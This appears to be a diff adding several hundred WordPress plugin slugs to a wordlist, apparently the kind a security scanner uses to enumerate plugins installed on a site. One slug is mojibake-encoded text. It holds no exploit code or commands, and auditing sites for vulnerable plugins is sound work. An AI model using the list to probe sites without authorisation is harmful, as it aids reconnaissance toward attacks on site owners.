+page-excerpts-for-wordpress-three
+display-medium-posts
+dco-russian-fixes
+ap-google-maps
+wordpress-white-label
+simple-custom-countdown-timer
+minibb-news
+gtalk-widget
+google-comments
+flickr-zoom-badge
+featured-post-creative
+exchange-platform
+eidogo-for-wordpress
+trading-signals-widget
+rocket-background-cache
+infusionsoft-for-developers
+hangman-game
+felix-user-memberships-content-restriction
+59sec-lite-contact-form-7-push-notifications-on-ios-and-android
+wm-child-post
+avatar-tooltip
+shocking-red-publish
+restore-exact-time
+required-fields
+custom-field-data-icons
+wp-force-lowercase-urls
+twitter-tools-supr-link
+reddit-widget
+my-mood-comment
+jobify
+frame-buster
+contact-form-7-dynamic-mail-to
+affiliate-product-optimizer
+wp-hamazon
+refer-notes
+job-tracker
+f1-minute-player
+debug-bar-query-count-alert
+cpt-archive
+auto-numbering-post
+wp-zombaio
+wp-quicktags
+scifi-task-manager
+pull-quotes
+p2-new-post-categories
+mytweetlinks
+htmlpad
+custom-shortcode-creator
+conditional-digg-this-badge
+better-admin-pointers
+automonadfly
+auto-update
+2d-barcodes
+simple-user-rank-comments
+readers-wall
+read-more
+meme-generator
+md-custom-content
+e-goi-mail-list-builder-contact-form-7
+chbd-css3-accordion
+x-cart-integration
+posts-widget-with-tabs
+falbum
+f1press
+edit-page-list-design
+big-bio-box
+audio-story-images
+acronyms-2
+wp-internal-mail
+thumbar
+picture-organizer
+enigma-buttons
+advertsafe
+wp-chart-generator
+woo-message-support
+woo-autocomplete-search-bar
+total-news-keywords
+suggest-comments
+live-support-desk
+kalender-hijriah
+google-chrome-frame-for-wordpress
+googl-generator
+embed-documents-shortcode
+demo-bar
+contact-form-to-wp-posts
+codepen-embed
+category-teaser-widget
+auto-login-new-user-after-registration
+authors2categories
+author-bio-plus
+wp-default-sender-email-by-it-pixelz
+woocommerce-epaybg
+twentyten-no-max-editor-width
+slenderbox
+sitewide-message
+rest-api-helper
+my-notes
+info-box-on-new-postpage-editor
+ebyline-payments
+css-autoloader
+wp-simple-captcha
+virtual-brick-social-bar-side-widget
+read-later-buttons
+image-hotspot
+freshtags
+exif-filter
+date-today-nepali
+css-refresh-automatically
+chat-messenger-with-toolbar
+bigtweet-button
+add-to-your-socibook-social-bookmarking-button
+wpb-woocommerce-accordain
+wp-admin-graphic-password
+wordpress-domain-name-changer
+post-thumbnails-in-feed
+nutrition-facts-vitamins
+multidomain-redirect
+gc-testimonials-to-testimonials
+easy-digital-download-affiliate-banners
+custom-wp-login
+custom-field-revisions
+wp-redirectify
+wp-live-helper-chat
+werk-aan-de-muur
+sp-authors
+marketpress-statistics
+kerstner-foundation-footer
+html-to-shortcode-generator
+hashcash-for-contact-form-7
+fixed-and-sticky-header
+admin-page-notes
+wp-responsive-images
+wp-faqs
+wordpress-gps
+taxonomy-taxi
+plugin-maker
+permalink-persian-to-english
+nota-fiscal-eletronica-woocommerce
+controlled-admin-access
+cafepress-ad-rotator
+buooy-sticky-header
+authentication-and-xmlrpc-log-writer
+wp-multisite-content-copier
+gallery-excerpt
+ewire-payment-module-for-woocommerce
+blockquote-cite
+wp-file-search
+viewmybrowser
+sms-notifications
+sidenails
+random-quran-verse-widget
+feedbackforms-integrator-for-wordpress
+bw-twitter-blocks
+prism-detached
+linkex-widget
+bitly-url-generator
+add-custom-link-to-wordpress-admin-bar
+your-id-please
+wp-responsive-slideshows
+top-shared-posts-on-facebook
+single-mailchimp
+seo-link-exchange
+post-expiry
+paypro-global-payment-gateway-for-premiumpress
+missed-call-mobile-number-verification-add-on-for-contactform7-cognalyscom
+buddypress-profile-visitors
+advanced-media-downloader
+advance-pricing-table
+add-functions
+wp-mail-returnpath
+windowpress
+sunrise
+sudo-juice-admin-dashboard-theme
+safe-paste
+react
+jump-page
+owt-one-word-translator
+on-page-and-post-seo
+masterblogster-scroll-top-and-bottom
+connections-business-directory-education-levels
+wp-post-url
+text-for-image-navigation
+hidden-posts
+dynamic-registration-links
+car-rental-widget-by-morerentalcarscom
+bns-theme-add-ins
+affiliates-manager-simple-membership-integration
+wp-today
+vivamazon
+term-duplicator
+most-commented-posts-3
+cp-simple-newsletter
+animated-featured-image
+andys-list-subpages
+sidebarautomizer
+rezdycom
+orange-soda-keyword-density
+mailshrimp
+jquery-visualize-for-wordpress
+wp-academic-publications
+typograf
+tailored-easy-exclude
+post-specific-comments-widget
+lastfm-player
+diy-tarot
+anchor-links
+add-editor-to-page-for-posts
+yd-wordpress-auto-purge
+top100-music-player
+quantity-increment-buttons-for-woocommerce
+pagination-rel-links
+ordering
+bhcalendarchives
+adrotate-extra-settings
+terms-to-links
+settings-api
+press-pay
+job-listing-box
+iyzico-payment-module
+season-greetings
+local-business-microdata-widget
+latex2html
+ig-pricing-table
+authentication-code
+wpshopgermany-free
+wp-redirection
+wp-recaptcha-library
+wp-backupware
+ms-ads
+mouseover-share-buttons-by-newsgrape
+kw-essential-share-buttons
+footer-flyout-widget
+flat-login
+canadian-nutrition-facts-label
+bp-group-dice
+acf-search
+rss-linked-list
+quoted-comments-widget
+goldstar
+get-options
+free-images-pictures
+dashboard-killer
+zigconnect
+wp-footer-html
+weixin-helper
+pryc-wp-tinymce-more-buttons
+like-button-for-twitter
+hybrid-byline
+wprpg
+wpmu-blog-name-restrictions-override
+social-site-sharer-links-widget
+simple-carousel-slider
+local-like-and-share
+export-all-post-meta
+cf7-redirect
+wp-facebook-likebutton
+post-page-notes
+dhiti-dive
+camptix-payment-payupaisa
+admin-bar-queries
+product-info-request-for-woocommerce
+insert-estimated-reading-time
+wp-native-articles
+random-post-ajax
+quick-popup
+guerrillas-content-warning
+google-plus-feed-widget
+github-gist-shortcode
+fiat-sidebar-nav
+chinese-login-name
+buddyforms-acf
+ziggeo
+woocommerce-sales-by-location-report
+theme-blvd-admin-presence
+ost-3d-image-cloud
+easy-map-creator
+bp-external-activity
+admin-link-box
+wp-post-list-ui
+timelines
+horizontal-full-categories-wordpress-plugin
+archivist
+wp2appir
+makeuptor
+force-login-except-special-ip-range
+copyproof-website
+wp-facebook-photos
+simple-wordpress-framework
+simple-auto-linker-seo-tool
+habla-for-wordpress
+fancy-grid-gallery
+category-list-icon
+amw-chat-fixed
+pressok-collapsible-region
+mini-capatcha
+genesis-featured-image
+control-facebook-like-box-widget-by-beyond-5280
+contact-form-24
+columns-diy
+wp-license-manager
+traficro-analytics
+style-up-images
+sf-pages-for-custom-posts
+gaming-dice-roller
+buddypress-sitewide-notice-widget
+wp-nano-ad
+wp-kurs
+nearby-flickr-photos
+mu-global-terms
+bibsonomy-csl
+ajax-dropdown-cart-for-woocommerce
+podamibe-advertisement-management
+ozh-auto-moderate-comments
+motors-car-dealership-classified-listings
+jeba-ajax-login-and-register
+hreflang-flag
+google-reader-subscriptions
+ajax-live-search
+plugins-switcher-for-mobile-access
+google-maps-and-distance-finder
+timeline-grid
+sustainablewebsites-subcategories-widget
+product-designer
+prepare-new-version
+itstream
+developers-codebox
+default-categories
+apple-touch-icons
+aac-scoring
+wp-tag-generator
+wp-readme-parser
+the-last-comment
+big-cartel-product-importer
+restaurant-table-booking-manager
+red5-recorder
+media-gallery
+force-jpeg-quality
+content-staging
+shopp-mobile-notifications
+react-social-analytics
+omnileads-scripts-and-tags-manager
+jmarquee
+escape-html
+bicycles-by-falbar
+amberlink
+advanced-custom-fields-meta-location-rule
+wpease-advanced-widgets
+serpzilla
+query-custom-fields
+in-page-script
+audio-attachment-widget
+wp-smart-paypal-payment-or-donation-accept
+wp-accessible
+commenter-data
+browser-bookmark
+affiliate-window-banners
+wp-posts-widget
+transifex-wp-translation
+simpletwitterbox
+koimoi-box-office
+instapaper-liked-article-posts
+fdsphotofeed-v100
+schedulista-shortcode
+responsive-vertical-recent-post-ticker
+linkmarklet
+google-plus-page-badge
+flickr-viewer
+easy-up-me
+cbnet-social-menu
+bp-activity-share
+better-admin-help-tabs
+wpsc-dta-export
+wpinvoice
+wp-client-reference
+price-quantity-plugin
+hitboxtv-widget
+gdata-importer
+frontier-restrict-media
+custom-base-terms
+change-user
+buddypress-courseware-certificate
+association-membership-management-software
+wp-social-ninja
+wp-einsatz
+wp-e-commerce-free-checkout
+tmf-gallery
+jet-event-system-v2
+gwa-autoresponder
+date-translator
+wp-transitions
+woocommerce-units
+woo-update-cart-on-quantity-change
+simpul-tweets-by-esotech
+pagination-translator
+kivaorg-widget
+easycode
+dynamic-search-widget
+custom-field-finder
+runkeeper-fitness-feed
+remita-payment-gateway
+json-only
+iwg-faster-tagging
+hello-world-generator
+wordpress-page-previews-screenshots-plugin
+smooth-calendar
+simply-silverlight
+payhub-payment-gateway-for-woocommerce
+great-index
+elasticemailv1
+children-excerpt-shortcode-plugin
+advanced-custom-post-types
+wp-share-old-post-lite
+top-friends
+quicklogin
+gravity-forms-braintree
+fullscreen-preview-button
+e-learning-critical-thinking
+dummy-text-shortcode
+daily-logo
+clone-replace
+bridaluxe-storefront
+bns-chesscom-badge
+wp-markdown-syntaxhighlighter
+user-social-profiles
+link-vault
+author-signature
+wen-map-marker
+nofollow-filter
+countup-js
+add-smart-app-banner
+tat-contact-form
+syntaxhighlighter-evolved-php5
+rmoov-link-removal
+float-contact-me
+wp-android-shortcode
+twitterpad
+sr-scroll-to-top-wp
+simple-catalogue
+mdawaffe-test
+junkie-content-types
+cc-roundabout-3d-slider
+weekly-archive-widget
+vzaar-official-plugin
+st-email-backup-for-published-posts
+gamatam-tasks
+woocommerce-birthday-reminder
+woo-braintree-payment-gateway
+pay2view
+ninja-notes
+image-sizes
+i-am
+first-google-map
+custom-pointers
+wp-quick-maintenance
+wp-curtain
+simple-microblogging
+facebook-like-box-lightbox
+daitui-service
+ss-font-awesome-icon
+mangopay-woocommerce
+jigoshop-basic-weight-shipping
+faces-of-users
+cookie-law-info-accepting-by-scroll
+url-cache
+ple-navigation
+meneame-comments-to-wp
+ipb-last-topics
+fw-quick-langswitch
+art-decoration-shortcode
+amazon-product-price
+sportspress-for-basketball
+secure-resizer
+refli-hide-clickbank-links
+custom-sender-for-email-before-download
+axis-subscriptions
+woocommerce-payu-india-payment-gateway
+wiloke-vimeo-gallery
+watcheezy
+thesaurus
+post-thesaurus
+ple-gigs
+dsidxpress-iskip
+admin-menu-on-right
+islamic-books
+good-shelf
+easy-image-widget
+yapb-xmlrpc-server
+wp-remove-widgets
+wp-indexify-pro
+reuters-direct
+query-shortcode
+product-country-restrictions
+meteorite-extensions
+google-plus-activity
+datepicker-i18n
+code-mirror-for-wordpress
+buddypress-groups-import
+third-party-cookie-eraser
+plugin-stats
+mstw-bracket-builder
+maps-deriction
+forms-3rdparty-dynamic-fields
+extrashield
+bongolive-sms
+wp-comment-mobile-push
+simple-vote-me
+pro-related-post-widget
+multisite-administration-tools
+autover
+ymlp
+wp-sape-stat
+simply-json
+myph3random
+jb-news-ticker
+image-viewer-made-easy
+dirtysuds-kill-howdy
+category-and-product-woocommerce-tabs
+woocommerce-multi-bank
+simple-calendar-blog-feed
+portfolleo
+pages-and-posts-facebook-debug
+multi-author-adsense
+jquery-comment-links
+isurvey
+intelly-posts-footer-manager
+hikari-featured-comments
+geekshed-embed
+featured-people
+search-storm
+post-category
+post-author-filter
+poker-cards
+lamp-version-checker
+email-list
+woo-australia-post-shipping-method
+wallets
+thesis-feature-box
+rocket-reader-speed-reader
+price-slider
+pasichart
+p2p-slides
+latest-post-shortcode-slider-extension
+insert-adsense-code-in-post
+address-bar-ads
+wp-jwt-auth
+steam-community-gamestats-widget
+rd-extensions-bundle-for-king-composer
+feed-them-instagram
+appmaps
+wp-user-chat
+taxonomy-extra-tools
+tablet-photography
+simplicy-twitter-press
+norse-runes-oracle
+hubble-panel
+educator-woocommerce-integration
+duckduckgo-search
+custom-wp-css-js
+svn-auto-upgrade
+ibrightkite
+get-directions-from-mobile
+custom-dashboard
+contact-form-7-ui
+a2billing
+a-simple-multilanguage
+topcat
+loi-hamon
+amp-toolbox
+toc-for-wordpress
+reddz-et
+orbisius-bbpress-enhancer
+enhanced-mediapicker
+blog-demographics
+wp-minor-edit
+horizontal-line-styles
+facebook-importer
+dw-admin-block
+amazing-rd-responsive-gallery
+wp-perfect-plugin
+webshare
+easy-panorama
+custom-options
+bootstrap-mce-elements
+bbpress-topic-sections
+wp-post-real-time-statistics
+jq-daily-pop-up
+fun-with-in-context-comments
+easy-custom-cssjs
+buddypress-profile-view-from-admin
+socialize-widget
+show-archive-descriptions
+easy-imgurcom-post-images
+debug-bar-hook-log
+amazon-box
+wpmu-theme-select
+wp-postnotes
+wp-pad
+shortcode-lister
+price-comparison
+no-duplicate-content-in-comments
+gpsiesembed
+gosquared
+collaborate-notes
+clockwork-two-factor-authentication
+webthumb
+smartwaiver-waiver-widget
+seo-advanced-custom-fields-analyzer
+ge-rss-reader
+advance-custom-import-and-export
+wp2netease
+wp-rest-api-pure-taxonomies
+sonicblink
+postmatic-for-caldera-forms
+ml-sticky-notes
+hosting-bandwidth-calculator
+exposureroom-videos
+cosmosfarm-share-buttons
+cd34-header
+twylah-widget
+qr-code-scan-me-anywhere
+multisite-taxonomy-widget
+geolocate-my-posts
+demomentsomtres-fbphotos
+authors-autocomplete-meta-box
+ap-contact-form
+wp-easter-egg
+users-registered-list
+rating-review-matrix
+nicescrollr
+mxpress
+jsj-code-highlight
+guild-wars-2-wvw-matchups
+flying-images
+columns-plugin
+backtop
+affiliates-manager-google-recaptcha-integration
+abundatrade-plugin
+wp-hallo-welt
+poker-widget
+moncoco-xml-feed-custom
+kb-backtick-comments
+inquiry-calc
+image-banner-effects-lite
+hit-an-external-cron
+easy-vbox7
+dynamic-menu-item
+dvs-slider
+xgen-date-information
+wp-prestashop-categories
+wordpress-admin-ui-reference-guide
+persian-quotes-\Ú\¯\Ù\ˆ\Ù\‡\Ø\±-\Ù\¾\Ø\§\Ø\±\Ø\³\Û\Œ\Ø\§\Ù\†
+persian-quotes
+formdesigner
+easyrotator-social-add-on
+bulk-page-maker
+super-recent-posts-widget
+square-link
+site-sonar
+php-snippets-for-theme-designer
+yg-subdomain
+wp-visited-countries-reloaded
+wp-hashtag
+wp-debugger
+secure-login
+favicon-images-for-comments
+wpdb-cache-money
+tr-edit-menu-icon
+server-status
+my-rss-plugin
+mm-unicode-font-tagger
+fluidvids
+wp-dyb
+theme-options-z
+simple-sugarsync-upload
+lc-team-members
+browser-update-notify
+ws-sharebar
+wp-term-icons
+wp-emailcrypt
+social-path
+show-hidecollapse-expand
+morfeo-images
+metwit-weather-widget
+document-feedback
+advanced-posts-per-page
+pixatopress-lite
+odvut-author-bio
+mlm-social-buzz
+jet-unit-site-could
+buddy-love
+bbpress-permalinks-with-id
+zocialtv-real-time-trending-videos-widget
+wp-supersized-image-map
+wp-local-toolbox
+woo-payment-gateway-viva-wallet
+network-favicons
+comments-with-hypercommentscom
+chinese-new-year
+welcomewiki-lite
+submit-to-any
+sightmax-live-chat
+mobile-friendly-audit-tool
+fresh-text
+exclude-category-widget
+custom-taxonomy-sidebar-widget
+bee-classifieds
+wp-qoutes
+blippr
+twitter-style-links
+sticky-spotlight-video-player
+my-favicon
+css-live
+author-stats
+xmpp-sender
+tweet-slide
+oauthphp
+gallerio
+estimated-reading-time
+comment-recovery
+blesk-companion
+wp-heatmap
+promote-mdn
+post-analytics
+jetpack-twitter-via
+it-news-widget
+hack-me-if-you-can
+wp-conditional-content
+vectr-embedded-graphics-editor
+structured-social-profiles
+qbloc
+presstagram
+macks-mlb-baseball-news-feed
+j-post-views-counter
+twb-woocommerce-reviews
+rate-own-post
+meta-seo-benignsource
+insert-ads-on-post
+bp-featured-members
+add-login-text
+access
+wp-style-kit
+wp-gfycat
+tuis-author-intro-for-archive
+sf-category-menu
+anppopular-post
+advert
+wp-post-tips
+wp-asc
+wiki-plugin
+tg-customized-tags
+simple-aweber-integration
+revechat
+reorder-my-sites
+post-miner
+multiple-choice-question-converter
+iw-woocomerce-cart-item-redirect
+active-extra-fields
+wp-seo-plugin-optimizer
+the-bar-steward
+iex-integration
+code-revisions
+clkim-integrator
+woocommerce-coupon-schedule
+wave-slider
+theme-junkie-testimonials-content
+slideshow-wp
+sewn-in-xml-sitemap
+screen-reader-with-fontsize
+privacy-friendly-facebook
+gallery-album
+envialia-carrier-for-woocomerce
+wp-default-author
+wp-auto-category-trackback
+tsw-custom-profile
+ta-post-format
+date-calculator
+calendar-jcm
+woocommerce-variation-sorting
+wikitip-knowledge-cluster-tooltip-for-wordpress
+dark-site
+bezahlcode-generator
+advanced-facebook-page-shortcode
+adsense-above
+viewmedica
+slick-slideshow
+latest-post-date
+free-imagescc-importer
+csv-to-html
+categories-multiple-images
+xt-easy-google-adsense-injection
+replace-word
+mosque-prayer-timings
+kiss-metrics
+issuu-panel
+zurahotlinks
+stop-web-crawlers
+sosh-icons
+save-post-as-text-and-html
+picturebook
+pgp-key-generator
+wp-comments-vip
+widgets-master
+mfs-survey
+genesis-gtm4wp
+channelunity-woocommerce-integration
+wow-progress-fr
+woo-order-google-map-location-finder
+tiemediahelper
+easy-menu-handler
+current-mood
+zakaat-calculator
+wpx-maintenance-pro-light
+wp-spider-cache
+woocommerce-fat-zebra-gateway
+wi-games-widget
+twigpress
+raspberry-weather
+nm404
+macks-boxing-news-feed
+lastfm-played-for-wp
+kento-like-post
+guideme
+excerpts-from-children
+easy-paygol
+wp-noflash
+wp-denyhosts
+upload-multiple-image
+subscribable
+sf-contact-form
+replytocom-controller
+infusionsoft-web-form-widget
+help-for-wp
+dtslider
+bootstrap-carousel-2x-post-widget
+wp-zend-library
+wp-sounds
+wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages
+wp-breadcrumbs
+dynamic-favorites
+book-serve-reservations
+twptter
+tennis-court-bookings
+spip-import
+simple-crm-buddypress-xprofile
+post-template-plugin
+portfolio-builder
+dorar-el-kalam
+debt-reduction-calculator
+config-interface
+bp-move-topics
+wp-permalauts-extended
+sitemap-google-news
+member-mailbox
+live-plus-press
+gravity-forms-sticky-form
+easy-mailchimp-forms-by-marketingv8
+content-upgrades
+yahoo-boss
+wp-amember-dashboard-widget
+gravity-forms-customcaptcha-abt-add-on
+gallery-for-ultimate-member
+fotherplot
+folder-slideshow
+flipbook-catalog-with-woocommerce-link
+facebook-like-for-marketers
+content-anchor-links
+smartbroker
+sharpspring-connector
+policy-genius
+empty-postspages
+search-engines-blocked-in-header
+ezengage
+delete-delete-site
+cookies-pro
+chuck-norris-joke-widget
+xt-facebook-events
+wp-image-importer
+wordfez
+stickyadmin
+rdpano
+ios-smart-app-banner
+darkpage-simpel-eventer
+wpperformancetester
+track-site-traffic
+speed-cache
+hierarchical-page-template-redirect-plugin-hptr
+hashchecker
+go-splash
+crossposting-in-safe-way
+baw-breach-avoider
+appointment-scheduling-and-booking-manager
+twitter-keywords
+spirits-and-goblins
+sp-admin
+rvw-add-link
+popup-ads-management
+facebook-image-suggest
+dboptimizer
+clean-unused-medias
+wp-soundslides
+visitors-counter
+sitemap-google-video
+register-here
+posts-per-page-customizer
+export-media-with-selected-content
+azlite
+wp-vkonnect-auto-submitter
+unique-title-checker
+twitticker
+theme-per-user
+impressive-slider-made-easy
+frame-free
+email-post-approval
+display-embedded-videos-by-dbiota
+deprecation-checker
+advanced-sticky-header
+1000eb
+thoora-wordpress-widget
+real-wp-shop-lite
+own-post-media-for-authors
+komparu-comparison-module
+hide-admin
+custom-sidebars-by-proteusthemes
+buzzwords
+allow-comments-on-pages-by-default
+12seconds-widget
+wp-subscription
+wp-geo-website-protection
+repostme-icon-bar
+processing4wp
+pagimore
+ilab-media-tools
+guestfront
+google-hosted-ajax-libraries
+child-news-widget
+auto-login-when-resister
+ag-twitter
+yahoo-buzz
+woopay-inicis
+user-login-count
+theatrecms-lite
+remove-generator-information
+google-rank-badge
+black-style-administration
+animate-content
+ai-code-highlighter
+top-recent-commenters
+text-to-speech
+site-performance
+read-my-tweet-pro
+ping-watcher
+ajaxify-filters
+thesis-theme-featured-posts-box
+simple-code-insert-shortcode
+twitter-counter-cache-rizer
+searchfit-shortcodes
+image-photoroll-creator-for-photographers
+honeypot-comments
+duplicate-images
+custom-categories-rss
+wp-video-tutor
+ultimateadminsms
+qr-code-generator
+jigoshop-pinterest-button-extension
+fx-toc
+cms2cms-automated-mediawiki-to-wp-migration
+wp-debug-logger
+perfect-client-testimonial
+orbisius-simple-feedback
+easy-click-to-tweet-by-cheeky-apps
+diablo-3-tooltip
+botsmasher
+blog-toplist
+wp-nutrition-label
+wp-no-pagerank
+wp-h5p-xapi
+woo-most-viewed-products
+reinstall-themes
+automatic-post-share
+user-importer-lite
+share-link
+multiply
+mrz-social
+linickx-lifestream
+genesis-simple-love
+dibs-for-woocommerce
+cjte-black-white-image-effect
+buddyextender
+admin-user-message
+spin360
+knowd-traffic-widget
+hangeul-web-fonts
+euro-2012-countdown
+starcross-baseball-linescore
+show-widget-area-names
+quietly
+vikinguard
+nuventech-ad-network
+icanlocalize-comment-translator
+wp-tuit
+wp-open-last-modified
+woocommerce-digital-download-free-shipping
+update-admin-footer
+social-opt-in
+simply-polls
+pages-and-posts-in-feed
+mini-termin
+ls-icecast-onair
+katalyst-video-plus
+vereinonline
+uw-cals-google-custom-search-engine
+flying-twitter-birds
+yapb-xmlrpc-sidebar-widget
+wp-dump
+update-from-bottom
+disable-grunion-admin-link
+contextual-ppc-revenue-by-advtisecom
+woocommerce-invoicexpress
+simple-post-meta-manager
+quotes-random
+nodelytics
+no-ie
+jp-theme-bar
+individual-multisite-author
+football-tips
+email-login-auth
+dummy-hit
+download-post-comments
+crossposterous
+akismet-notifier
+ajax-to-do
+wp2smfbridge
+snappy-list-builder
+real-estate-listing
+orbisius-quick-nav
+oa-open-graph-for-fb
+name-day
+my-mapped-locations
+lh-login-page
+kevins-plugin
+gnu-mailman-integration
+ecommerce-tracking-for-easy-digital-download
+easy-tickets
+ceceppa-multilingua-support-for-customizr
+bitly-linker
+wpi-custom-admin-columns-for-sorting-and-filtering
+wp-syntax-effects
+visibility-warning
+unsafe-mimetypes
+themify-shortcodes
+the-city-plaza
+statsfc-form
+single-shortcode
+rte-comments
+restrict-uploads
+opensso-plugin
+lastfm-recent-plays-wordpress-plugin
+google-base-newsfeed
+filter-rewrite-rules
+envato-marketplace-widget
+disable-post-revision
+cf7-post-fields
+category-and-tag-specific-widgets
+xslprocessor
+stackoverflow-answers-widget
+solid-code-plugin-editor
+simplegmaps
+cms-navigator
+woo-donation
+shortburst-newsletter-sign-up
+offline-content
+master-post-password
+image-custom-class
+encrypted-blog
+dynamic-tag-links
+advanced-custom-fields-rgba-color
+wp-custom-emails
+reid-plugins-curl-options
+mobile-theme-switch
+mg-advancedoptions
+cispm-portfolio
+arabic-woocommerce-middle-east-currencies
+acf-option-pages
+website-monitoring
+parsi-sokhan
+jl-points-rewards
+catalog-booster-for-woocommerce
+post-and-comments-growth
+comment-author-checklist
+authorstream
+aeiou
+zpp-widget
+vacant-line-breaker
+tmediaa-weather-plugin
+safe-function-call
+ls-gmap-route
+aliyun-oss-support
+wp-webservices
+woo-shortcodes-kit
+taximap-integration
+speech-to-text
+pdfjs-shortcode
+mojoplug-slide-panel
+media-thumbnail-enlarger
+jqueryfacebookwallwplight
+gravity-forms-click-pledge
+cynatic-wp-gallery
+wp-robots-log
+verse-links
+timesheet
+seaweed
+meta-tags-generator
+memoria-ticket-system
+jinda-facebook-lightbox
+ebs-payment-gateway-woocommerce
+advanced-reporting-for-woocommerce
+wp-opening-times-pro
+stein-mobile-switcher
+royal-mail-woocommerce-shipping-calculator
+only-one-device-login-limit
+obfuscator
+mingle-donation-button
+local-storage-back-up
+china-addthis
+bangla-al-quran
+ubuntu-sidebar
+subscribe2-cestina
+mycopyright
+latest-posts-multisite-widget
+attach-post-images
+wp-easyreply
+wizardgo-audio-player-hear-your-content-aloud
+twitterfools-trending-topics
+redq-events
+playlist-for-youtube
+geo-multi-location-map
+explore-pages
+easy-listings-slider
+drug-interaction-data
+best-ads-manager
+wp-fake-image-replacer
+simple-site-popup
+semantic-tags
+markdown-for-p2
+integration-dynamics
+aidaxo-yfgallery
+wxsim-forecast
+wp-linkex
+user-hierarchy
+tubentertain
+gdreseller
+chatmeim-shortcode
+cart66-cloud-members
+wp-offscreen-navigation
+woo-shipping-for-nova-poshta
+q-lists-list-creator
+my-presentation-light
+lenky-related-links
+buddypress-group-topic-tags
+awsm-team
+wordpress-quick-save
+woo-store-vacation
+webcollage
+ramsichtwitter
+qiniu-uploader
+dirtysuds-postlist
+buddyforms-posts-to-posts-integration
+accordion-panel-for-category-and-products
+wp-custom-post-field
+wp-appointments
+visitors-notify
+spyrowebz-gallery
+simply-strava
+newsletter-sms-smsapi
+logo-widget
+jk-google-analytics
+goodbye-bar
+gears-this-blog
+easytwitter
+custom-post-types-image
+cobol-press-disable-admin-bar
+addpoll
+wp-notas
+wp-collab-lite
+viber-sharing-button-for-jetpack
+sitemap-page-embed
+post-updated-date
+pl-car-dealer
+paypal-donation-widget
+fx-categories-widget
+foundation-columns
+wp-freemind
+woo-product-dropdown-widget
+spreadsheet-acf-import
+r3df-beaver-builder-tinymce-advanced-icon-fix
+ms-auto-thumbnail-custom-key-generator
+display-kitchen-sink-by-default-in-visual-editor
+cf7-zoho-leads
+badgeos-suggested-achievements-add-on
+avoid-duplicate-posts
+wcbox-lite
+signup-page
+remove-exif-and-metadata
+hide-custom-fields
+blog-authors-description
+yarpp-for-bbpress
+wp-slider-captcha
+nofollow-external-link
+moneybookers-merchant-gateway-for-eshop
+misamee-gravity-forms-themes
+tinyitcc-best-and-safe-url-shortener-and-tracker
+s3-rating
+feeder-pk
+buddypress-groups-directory-extras
+bookitme-appointment-scheduler
+based-on-post
+ads-management
+wp-fail2ban-redux
+wp-easy-survey
+wow-trk-affiliate-marketing-ad-rotator
+widget-bumbablog-adserver
+promote-this
+edd-mobile
+bitcoin-donations
+wp-udemy
+stylish-top-author-widget
+short-post-urls
+marctv-xbox-360voice-blog
+gooten-dropshipping-for-woocommerce
+disclosure-picker
+wpsc-extra-flat-rate
+wp-user-access-notification
+wp-conditional-shortcodes
+pure-css-emoticons
+publish-confirmation
+primal-for-wp
+nplogin
+multi-site-user-replicator-3000
+kingkongcart
+beer-mapping-badge
+wp247-body-classes
+wp-keyboard-navigation
+minifylink
+hits-pages-by-role
+ark-hidecommentlinks
+wp-tracklink
+wp-shoutbox-live-chat
+woocommerce-filterable-store
+tweet-rooster
+post-author-comment-notification
+mm-email2image
+kwm-force-download
+community-jar
+shiny-buttons
+gp-removed-powered-by
+xxlboard
+wp-fancy-title
+vimeo-badge-widget
+ultimate-syntax-highlighter
+multi-varnish-http-purge
+grooveshark-wp
+gracemedia-media-player
+blog-download
+bitlet-plugin
+wp-flock
+wp-advanced-include
+twl-easy-call
+monochrome-admin-icons
+killit
+digg-protector
+default-gravatar-sans
+custom-admin-column
+blogroll-pager
+simple-text-slider
+mailbase
+extra-widget-properties-set
+agenteasy-properties
+trailerapi
+random-number-generator
+qqotd
+fbalbum-for-wordpress
+emailcoauthoronpost
+dequeue-font-awesome
+all-inclusive
+sort-page-list-by-last-name
+pmid-citations-with-read
+pm-thumbnail-picture-menu
+openquote
+facebook-page-feed
+empathy
+donate-ribbon
+wordpress-mu-domain-mapping-cn
+word-of-the-day-widget
+twitter-feed-list
+tinymce-unrestrictor
+themeable-sticky-posts
+reiseblog-widgets
+readable-names
+post2peer-widget
+pbp-newsticker
+header-image-description
+font-size-optimizer
+darkroom
+comments-maximum-number
+check-baidu-result
+03talk-community-conference
+yd-webhook-to-xml-rpc
+wp-text-slider-widget
+qtranslate-remove-one-language-menu-item
+post6widgetarea
+password-only-login
+child-text-widget
+slash-comments
+post-types-taxonomies-intersections
+my-events
+google-navigator
+fancy-clock
+esv-bible-shortcode-for-wordpress
+dispensary-age-verification
+delicious-rss-display
+debug-wp-redirect
+bns-body-classes
+wordpress-post-tab-widget
+subzane-upcoming-posts-widget
+send-to-mobile-by-tagga
+custom-login-and-signup-widget
+bp-push-notification
+blip-tv-episodes-widget
+all-round-order
+acs-plugin-for-wordpress
+wp-cdnjs
+wizpert-button-to-share-your-expertise
+insert-code-lite
+easy-kickstarter-widget
+easy-image-uploader
+dbtable-to-datatable
+cpu-load
+adding-css
+404-to-home
+wp-sup-contact-form
+wp-multiple-titles
+wp-like-dislike
+4bzcore
+wp-rss-cache-flusher
+theme-my-ontraport-smartform
+jl-like-pro
+genesis-accessible-dropdown-menu
+favorite-links-widget
+doaj-export
+cool-text
+clickst
+brozzme-cookie-notification
+bp-block-users
+bookkeeping
+advanced-custom-fields-multiple-coordinates
+wpcalc-modal-form
+whois-on-widget
+wdo-birthdays
+simple-robots-meta
+rocket-fireworks
+radeet-pdf-embed
+password-generator
+feed-seo
+bixt
+alt-for-images
+add-background-size-to-customizer
+a-smart-excerpt
+wedding-registry
+lovedby-pro
+jc-navigation-page
+gmail-style-preloader
+comentario-via-e-mail
+ultralink
+pusha
+page-whitelists
+one-widget-per-page
+instant-gallery
+cite
+chessonline
+auto-update-themes
+wp-search-extracts
+sherk-custom-post-type-displays
+categories4page
+wp-tbl
+wp-advent
+tinymce-code-button
+reset-slugs
+lilomi-avatar-and-authentication-plugin
+google-toolbar-button-plugin
+admin-category-search
+videographywp
+shopp-constant-contact
+qtwit
+page-templates-for-posts
+lh-ogp-meta-tags
+content-copy-protect
+brown-paper-tickets
+blogger-api-client
+better-utf8-excerpt
+youtube-tooltip
+wc-sales-count-manager
+voyage-plus
+unslider-image
+mdc-adfly-shortener
+izooto-web-push
+github-widget
+blogspam
+wpx-shortcodes-manager-light
+small-pommo-integration
+quick-interest-slider
+multisite-ticket-system
+mrcookies
+ls-gtrans-widget
+disable-pointers
+add-categories-post-footer
